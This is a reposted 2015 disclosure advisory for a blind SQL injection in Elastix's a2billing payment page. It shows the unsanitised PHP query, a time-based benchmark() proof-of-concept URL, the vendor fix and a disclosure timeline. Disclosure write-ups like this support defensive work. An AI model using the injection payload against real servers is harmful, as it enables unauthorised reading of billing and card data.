Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86382239

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Title: Elastix v2.x Blind SQL Injection Vulnerability
# Author: Ahmed Aboul-Ela
# Twitter: https://twitter.com/aboul3la
# Vendor : http://www.elastix.org
# Version: v2.5.0 and prior versions should be affected too
 
- Vulnerable Source Code snippet in "a2billing/customer/iridium_threed.php":
 
  <?php
  [...]
  line 5: getpost_ifset (array('transactionID', 'sess_id', 'key', 'mc_currency', 'currency', 'md5sig', 
  'merchant_id', 'mb_amount', 'status','mb_currency','transaction_id', 'mc_fee', 'card_number'));

  line 34: $QUERY = "SELECT id, cardid, amount, vat, paymentmethod, cc_owner, cc_number, cc_expires, 
  creationdate, status, cvv, credit_card_type,currency, item_id, item_type " . 
  " FROM cc_epayment_log " . " WHERE id = ".$transactionID;

  line 37: $transaction_data = $paymentTable->SQLExec ($DBHandle_max, $QUERY);
  [...]
  ?>    
  
   The GET parameter transactionID was used directly in the SQL query 
   without any sanitization which lead directly to SQL Injection vulnerability.
 
- Proof of Concept: 
 
  http://[host]/a2billing/customer/iridium_threed.php?transactionID=-1 and 1=benchmark(2000000,md5(1))
  
  The backend response will delay for few seconds, which means the benchmark() function was executed successfully
 
- Mitigation:
   
   The vendor has released a fix for the vulnerability. It is strongly recommended to update your elastix server now
   
   [~] yum update elastix-a2billing
 
 
- Time-Line:
 
    Sat, Feb 14, 2015 at 2:19 PM: Vulnerability report sent to Elastix
    Wed, Feb 18, 2015 at 4:29 PM: Confirmation of the issue from Elastix
    Fri, Mar  6, 2015 at 8:39 PM: Elastix released a fix for the vulnerability
    Sat, Mar  7, 2015 at 5:15 PM: The public responsible disclosure

- Credits:
 
    Ahmed Aboul-Ela - Cyber Security Analyst @ EG-CERT